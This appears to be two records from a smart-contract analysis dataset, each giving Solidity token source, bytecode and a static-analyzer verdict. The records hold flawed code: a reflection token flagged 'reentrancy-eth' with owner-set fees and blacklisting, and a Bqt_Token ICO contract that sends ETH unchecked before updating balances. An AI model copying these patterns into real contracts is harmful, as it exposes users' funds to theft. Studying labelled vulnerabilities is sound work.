require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051f578063dd62ed3e1461053f578063ea1644d514610585578063f2fde38b146105a557600080fd5b8063a2a957bb1461049a578063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104155780638f9a55c01461043557806395d89b411461044b57806398a5c3151461047a57600080fd5b806374010ece146103c15780637d1db4a5146103e15780638da5cb5b146103f757600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103575780636fc3eaec1461037757806370a082311461038c578063715018a6146103ac57600080fd5b8063313ce567146102fb57806349bd5a5e146103175780636b9990531461033757600080fd5b80631694505e116101a05780631694505e1461026957806318160ddd146102a157806323b872dd146102c55780632fd689e3146102e557600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023957600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611abb565b6105c5565b005b3480156101ff57600080fd5b5060408051808201909152600b81526a2437b6b6b4b29021b7b4b760a91b60208201525b6040516102309190611bed565b60405180910390f35b34801561024557600080fd5b50610259610254366004611a0b565b610664565b6040519015158152602001610230565b34801561027557600080fd5b50601454610289906001600160a01b031681565b6040516001600160a01b039091168152602001610230565b3480156102ad57600080fd5b50662386f26fc100005b604051908152602001610230565b3480156102d157600080fd5b506102596102e03660046119ca565b61067b565b3480156102f157600080fd5b506102b760185481565b34801561030757600080fd5b5060405160098152602001610230565b34801561032357600080fd5b50601554610289906001600160a01b031681565b34801561034357600080fd5b506101f1610352366004611957565b6106e4565b34801561036357600080fd5b506101f1610372366004611b87565b61072f565b34801561038357600080fd5b506101f1610777565b34801561039857600080fd5b506102b76103a7366004611957565b6107c2565b3480156103b857600080fd5b506101f16107e4565b3480156103cd57600080fd5b506101f16103dc366004611ba2565b610858565b3480156103ed57600080fd5b506102b760165481565b34801561040357600080fd5b506000546001600160a01b0316610289565b34801561042157600080fd5b506101f1610430366004611b87565b610887565b34801561044157600080fd5b506102b760175481565b34801561045757600080fd5b50604080518082019091526006815265484f4d4d494560d01b6020820152610223565b34801561048657600080fd5b506101f1610495366004611ba2565b6108cf565b3480156104a657600080fd5b506101f16104b5366004611bbb565b6108fe565b3480156104c657600080fd5b506102596104d5366004611a0b565b61093c565b3480156104e657600080fd5b506102596104f5366004611957565b60106020526000908152604090205460ff1681565b34801561051657600080fd5b506101f1610949565b34801561052b57600080fd5b506101f161053a366004611a37565b61099d565b34801561054b57600080fd5b506102b761055a366004611991565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059157600080fd5b506101f16105a0366004611ba2565b610a3e565b3480156105b157600080fd5b506101f16105c0366004611957565b610a6d565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611c42565b60405180910390fd5b60005b81518110156106605760016010600084848151811061061c5761061c611d89565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065881611d58565b9150506105fb565b5050565b6000610671338484610b57565b5060015b92915050565b6000610688848484610c7b565b6106da84336106d585604051806060016040528060288152602001611dcb602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b7565b610b57565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b81526004016105ef90611c42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107595760405162461bcd60e51b81526004016105ef90611c42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ac57506013546001600160a01b0316336001600160a01b0316145b6107b557600080fd5b476107bf816111f1565b50565b6001600160a01b03811660009081526002602052604081205461067590611276565b6000546001600160a01b0316331461080e5760405162461bcd60e51b81526004016105ef90611c42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108825760405162461bcd60e51b81526004016105ef90611c42565b601655565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016105ef90611c42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016105ef90611c42565b601855565b6000546001600160a01b031633146109285760405162461bcd60e51b81526004016105ef90611c42565b600893909355600a91909155600955600b55565b6000610671338484610c7b565b6012546001600160a01b0316336001600160a01b0316148061097e57506013546001600160a01b0316336001600160a01b0316145b61098757600080fd5b6000610992306107c2565b90506107bf816112fa565b6000546001600160a01b031633146109c75760405162461bcd60e51b81526004016105ef90611c42565b60005b82811015610a385781600560008686858181106109e9576109e9611d89565b90506020020160208101906109fe9190611957565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3081611d58565b9150506109ca565b50505050565b6000546001600160a01b03163314610a685760405162461bcd60e51b81526004016105ef90611c42565b601755565b6000546001600160a01b03163314610a975760405162461bcd60e51b81526004016105ef90611c42565b6001600160a01b038116610afc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b60008111610da35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6000546001600160a01b03848116911614801590610dcf57506000546001600160a01b03838116911614155b156110b057601554600160a01b900460ff16610e68576000546001600160a01b03848116911614610e685760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ef565b601654811115610eba5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ef565b6001600160a01b03831660009081526010602052604090205460ff16158015610efc57506001600160a01b03821660009081526010602052604090205460ff16155b610f545760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ef565b6015546001600160a01b03838116911614610fd95760175481610f76846107c2565b610f809190611ce8565b10610fd95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ef565b6000610fe4306107c2565b601854601654919250821015908210610ffd5760165491505b8080156110145750601554600160a81b900460ff16155b801561102e57506015546001600160a01b03868116911614155b80156110435750601554600160b01b900460ff165b801561106857506001600160a01b03851660009081526005602052604090205460ff16155b801561108d57506001600160a01b03841660009081526005602052604090205460ff16155b156110ad5761109b826112fa565b4780156110ab576110ab476111f1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f257506001600160a01b03831660009081526005602052604090205460ff165b8061112457506015546001600160a01b0385811691161480159061112457506015546001600160a01b03848116911614155b15611131575060006111ab565b6015546001600160a01b03858116911614801561115c57506014546001600160a01b03848116911614155b1561116e57600854600c55600954600d555b6015546001600160a01b03848116911614801561119957506014546001600160a01b03858116911614155b156111ab57600a54600c55600b54600d555b610a3884848484611483565b600081848411156111db5760405162461bcd60e51b81526004016105ef9190611bed565b5060006111e88486611d41565b95945050505050565b6012546001600160a01b03166108fc61120b8360026114b1565b6040518115909202916000818181858888f19350505050158015611233573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124e8360026114b1565b6040518115909202916000818181858888f19350505050158015610660573d6000803e3d6000fd5b60006006548211156112dd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b60006112e76114f3565b90506112f383826114b1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134257611342611d89565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139657600080fd5b505afa1580156113aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ce9190611974565b816001815181106113e1576113e1611d89565b6001600160a01b0392831660209182029290920101526014546114079130911684610b57565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611440908590600090869030904290600401611c77565b600060405180830381600087803b15801561145a57600080fd5b505af115801561146e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149057611490611516565b61149b848484611544565b80610a3857610a38600e54600c55600f54600d55565b60006112f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163b565b6000806000611500611669565b909250905061150f82826114b1565b9250505090565b600c541580156115265750600d54155b1561152d57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611556876116a7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115889087611704565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b79086611746565b6001600160a01b0389166000908152600260205260409020556115d9816117a5565b6115e384836117ef565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162891815260200190565b60405180910390a3505050505050505050565b6000818361165c5760405162461bcd60e51b81526004016105ef9190611bed565b5060006111e88486611d00565b6006546000908190662386f26fc1000061168382826114b1565b82101561169e57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c48a600c54600d54611813565b92509250925060006116d46114f3565b905060008060006116e78e878787611868565b919e509c509a509598509396509194505050505091939550919395565b60006112f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b7565b6000806117538385611ce8565b9050838110156112f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b60006117af6114f3565b905060006117bd83836118b8565b306000908152600260205260409020549091506117da9082611746565b30600090815260026020526040902055505050565b6006546117fc9083611704565b60065560075461180c9082611746565b6007555050565b600080808061182d606461182789896118b8565b906114b1565b9050600061184060646118278a896118b8565b90506000611858826118528b86611704565b90611704565b9992985090965090945050505050565b600080808061187788866118b8565b9050600061188588876118b8565b9050600061189388886118b8565b905060006118a5826118528686611704565b939b939a50919850919650505050505050565b6000826118c757506000610675565b60006118d38385611d22565b9050826118e08583611d00565b146112f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b803561194281611db5565b919050565b8035801515811461194257600080fd5b60006020828403121561196957600080fd5b81356112f381611db5565b60006020828403121561198657600080fd5b81516112f381611db5565b600080604083850312156119a457600080fd5b82356119af81611db5565b915060208301356119bf81611db5565b809150509250929050565b6000806000606084860312156119df57600080fd5b83356119ea81611db5565b925060208401356119fa81611db5565b929592945050506040919091013590565b60008060408385031215611a1e57600080fd5b8235611a2981611db5565b946020939093013593505050565b600080600060408486031215611a4c57600080fd5b833567ffffffffffffffff80821115611a6457600080fd5b818601915086601f830112611a7857600080fd5b813581811115611a8757600080fd5b8760208260051b8501011115611a9c57600080fd5b602092830195509350611ab29186019050611947565b90509250925092565b60006020808385031215611ace57600080fd5b823567ffffffffffffffff80821115611ae657600080fd5b818501915085601f830112611afa57600080fd5b813581811115611b0c57611b0c611d9f565b8060051b604051601f19603f83011681018181108582111715611b3157611b31611d9f565b604052828152858101935084860182860187018a1015611b5057600080fd5b600095505b83861015611b7a57611b6681611937565b855260019590950194938601938601611b55565b5098975050505050505050565b600060208284031215611b9957600080fd5b6112f382611947565b600060208284031215611bb457600080fd5b5035919050565b60008060008060808587031215611bd157600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c1a57858101830151858201604001528201611bfe565b81811115611c2c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cc75784516001600160a01b031683529383019391830191600101611ca2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cfb57611cfb611d73565b500190565b600082611d1d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3c57611d3c611d73565b500290565b600082821015611d5357611d53611d73565b500390565b6000600019821415611d6c57611d6c611d73565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f48c5994984db0ce08fbc43c2f9bab893e3d3dc0e62eee2d44f815efe21b5dd764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,388 |
0xf8b51abb2045ca806841fe4bbeba30f2a1be3d4e
|
// ----------------------------------------------------------------------------------------------
// Developer Nechesov Andrey & ObjectMicro, Inc
// ----------------------------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
// Get the total token supply
function totalSupply() constant returns (uint256 totalSupply);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Bqt_Token is ERC20Interface {
string public constant symbol = "BQT";
string public constant name = "BQT token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = 800*10**6*10**18;
uint256 public constant ownerSupply = maxTokens*51/100;
uint256 _totalSupply = ownerSupply;
uint256 public constant token_price = 10**18*1/800;
uint256 public pre_ico_start = 1528416000; // Jun 8, 2018 utc
uint256 public ico_start = 1531008000; // Jul 8, 2018 utc
uint256 public ico_finish = 1541635200; // Nov 8, 2018 utc
uint public constant minValuePre = 10**18*1/1000000;
uint public constant minValue = 10**18*1/1000000;
uint public constant maxValue = 3000*10**18;
uint8 public constant exchange_coefficient = 102;
using SafeMath for uint;
// Owner of this contract
address public owner;
address public moderator;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Orders holders who wish sell tokens, save amount
mapping(address => uint256) public orders_sell_amount;
// Orders holders who wish sell tokens, save price
mapping(address => uint256) public orders_sell_price;
//orders list
address[] public orders_sell_list;
// Triggered on set SELL order
event Order_sell(address indexed _owner, uint256 _max_amount, uint256 _price);
// Triggered on execute SELL order
event Order_execute(address indexed _from, address indexed _to, uint256 _amount, uint256 _price);
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
// Functions with this modifier can only be executed by the moderator
modifier onlyModerator() {
if (msg.sender != moderator) {
throw;
}
_;
}
// Functions change owner
function changeOwner(address _owner) onlyOwner returns (bool result) {
owner = _owner;
return true;
}
// Functions change moderator
function changeModerator(address _moderator) onlyOwner returns (bool result) {
moderator = _moderator;
return true;
}
// Constructor
function Bqt_Token() {
//owner = msg.sender;
owner = 0x3d143e5f256a4fbc16ef23b29aadc0db67bf0ec2;
moderator = 0x788C45Dd60aE4dBE5055b5Ac02384D5dc84677b0;
balances[owner] = ownerSupply;
}
//default function
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
//Withdraw money from contract balance to owner
function withdraw(uint256 _amount) onlyOwner returns (bool result) {
uint256 balance;
balance = this.balance;
if(_amount > 0) balance = _amount;
owner.send(balance);
return true;
}
//Change pre_ico_start date
function change_pre_ico_start(uint256 _pre_ico_start) onlyModerator returns (bool result) {
pre_ico_start = _pre_ico_start;
return true;
}
//Change ico_start date
function change_ico_start(uint256 _ico_start) onlyModerator returns (bool result) {
ico_start = _ico_start;
return true;
}
//Change ico_finish date
function change_ico_finish(uint256 _ico_finish) onlyModerator returns (bool result) {
ico_finish = _ico_finish;
return true;
}
// Total tokens on user address
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
//Return param, how many tokens can send _spender from _owner account
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* Buy tokens on pre-ico and ico with bonuses on time boundaries
*/
function tokens_buy() payable returns (bool) {
uint256 tnow = now;
//if(tnow < pre_ico_start) throw;
if(tnow > ico_finish) throw;
if(_totalSupply >= maxTokens) throw;
if(!(msg.value >= token_price)) throw;
if(!(msg.value >= minValue)) throw;
if(msg.value > maxValue) throw;
uint tokens_buy = (msg.value*10**18).div(token_price);
uint tokens_buy_total;
if(!(tokens_buy > 0)) throw;
//Bonus for total tokens amount for all contract
uint b1 = 0;
//Time bonus on Pre-ICO && ICO
uint b2 = 0;
//Individual bonus for tokens amount
uint b3 = 0;
if(_totalSupply <= 5*10**6*10**18) {
b1 = tokens_buy*30/100;
}
if((5*10**6*10**18 < _totalSupply)&&(_totalSupply <= 10*10**6*10**18)) {
b1 = tokens_buy*25/100;
}
if((10*10**6*10**18 < _totalSupply)&&(_totalSupply <= 15*10**6*10**18)) {
b1 = tokens_buy*20/100;
}
if((15*10**6*10**18 < _totalSupply)&&(_totalSupply <= 20*10**6*10**18)) {
b1 = tokens_buy*15/100;
}
if((20*10**6*10**18 < _totalSupply)&&(_totalSupply <= 25*10**6*10**18)) {
b1 = tokens_buy*10/100;
}
if(25*10**6*10**18 <= _totalSupply) {
b1 = tokens_buy*5/100;
}
if(tnow < ico_start) {
b2 = tokens_buy*50/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*5)){
b2 = tokens_buy*10/100;
}
if((ico_start + 86400*5 <= tnow)&&(tnow < ico_start + 86400*10)){
b2 = tokens_buy*8/100;
}
if((ico_start + 86400*10 <= tnow)&&(tnow < ico_start + 86400*20)){
b2 = tokens_buy*6/100;
}
if((ico_start + 86400*20 <= tnow)&&(tnow < ico_start + 86400*30)){
b2 = tokens_buy*4/100;
}
if(ico_start + 86400*30 <= tnow){
b2 = tokens_buy*2/100;
}
if((1000*10**18 <= tokens_buy)&&(5000*10**18 <= tokens_buy)) {
b3 = tokens_buy*5/100;
}
if((5001*10**18 <= tokens_buy)&&(10000*10**18 < tokens_buy)) {
b3 = tokens_buy*10/100;
}
if((10001*10**18 <= tokens_buy)&&(15000*10**18 < tokens_buy)) {
b3 = tokens_buy*15/100;
}
if((15001*10**18 <= tokens_buy)&&(20000*10**18 < tokens_buy)) {
b3 = tokens_buy*20/100;
}
if(20001*10**18 <= tokens_buy) {
b3 = tokens_buy*25/100;
}
tokens_buy_total = tokens_buy.add(b1);
tokens_buy_total = tokens_buy_total.add(b2);
tokens_buy_total = tokens_buy_total.add(b3);
if(_totalSupply.add(tokens_buy_total) > maxTokens) throw;
_totalSupply = _totalSupply.add(tokens_buy_total);
balances[msg.sender] = balances[msg.sender].add(tokens_buy_total);
return true;
}
/**
* Get total SELL orders
*/
function orders_sell_total () constant returns (uint256) {
return orders_sell_list.length;
}
/**
* Get how many tokens can buy from this SELL order
*/
function get_orders_sell_amount(address _from) constant returns(uint) {
uint _amount_max = 0;
if(!(orders_sell_amount[_from] > 0)) return _amount_max;
if(balanceOf(_from) > 0) _amount_max = balanceOf(_from);
if(orders_sell_amount[_from] < _amount_max) _amount_max = orders_sell_amount[_from];
return _amount_max;
}
/**
* User create SELL order.
*/
function order_sell(uint256 _max_amount, uint256 _price) returns (bool) {
if(!(_max_amount > 0)) throw;
if(!(_price > 0)) throw;
orders_sell_amount[msg.sender] = _max_amount;
orders_sell_price[msg.sender] = (_price*exchange_coefficient).div(100);
orders_sell_list.push(msg.sender);
Order_sell(msg.sender, _max_amount, orders_sell_price[msg.sender]);
return true;
}
/**
* Order Buy tokens - it's order search sell order from user _from and if all ok, send token and money
*/
function order_buy(address _from, uint256 _max_price) payable returns (bool) {
if(!(msg.value > 0)) throw;
if(!(_max_price > 0)) throw;
if(!(orders_sell_amount[_from] > 0)) throw;
if(!(orders_sell_price[_from] > 0)) throw;
if(orders_sell_price[_from] > _max_price) throw;
uint _amount = (msg.value*10**18).div(orders_sell_price[_from]);
uint _amount_from = get_orders_sell_amount(_from);
if(_amount > _amount_from) _amount = _amount_from;
if(!(_amount > 0)) throw;
uint _total_money = (orders_sell_price[_from]*_amount).div(10**18);
if(_total_money > msg.value) throw;
uint _seller_money = (_total_money*100).div(exchange_coefficient);
uint _buyer_money = msg.value - _total_money;
if(_seller_money > msg.value) throw;
if(_seller_money + _buyer_money > msg.value) throw;
if(_seller_money > 0) _from.send(_seller_money);
if(_buyer_money > 0) msg.sender.send(_buyer_money);
orders_sell_amount[_from] -= _amount;
balances[_from] -= _amount;
balances[msg.sender] += _amount;
Order_execute(_from, msg.sender, _amount, orders_sell_price[_from]);
}
}
|
0x6080604052600436106101b7576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101c2578063095ea7b31461025257806318160ddd146102b75780631ce7d9da146102e257806323b872dd1461030d57806325f96b73146103925780632c87aecc146103bd5780632e1a7d4d1461042a578063313ce5671461046f57806338743904146104a05780633c1e17f8146104f75780633dec4cb31461054e578063466429211461057957806347afa4e4146105d45780634cad12e0146106195780636c675ae61461067057806370a082311461069257806376f86e18146106e95780637a013105146107415780637b4fd96e1461076c5780638da5cb5b1461079757806394a5c2e4146107ee57806395d89b4114610819578063963e63c7146108a95780639a42adb3146108d4578063a6f9dae114610919578063a75439d114610974578063a9059cbb1461099f578063b99a8a0014610a04578063d858b5c814610a35578063dd62ed3e14610a84578063e696fd6414610afb578063e831574214610b40578063ea10d24614610b6b578063fc9937e514610bc2575b6101bf610bed565b50005b3480156101ce57600080fd5b506101d761114a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102175780820151818401526020810190506101fc565b50505050905090810190601f1680156102445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025e57600080fd5b5061029d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611183565b604051808215151515815260200191505060405180910390f35b3480156102c357600080fd5b506102cc611275565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b506102f761127e565b6040518082815260200191505060405180910390f35b34801561031957600080fd5b50610378600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611284565b604051808215151515815260200191505060405180910390f35b34801561039e57600080fd5b506103a761158b565b6040518082815260200191505060405180910390f35b3480156103c957600080fd5b506103e8600480360381019080803590602001909291905050506115aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405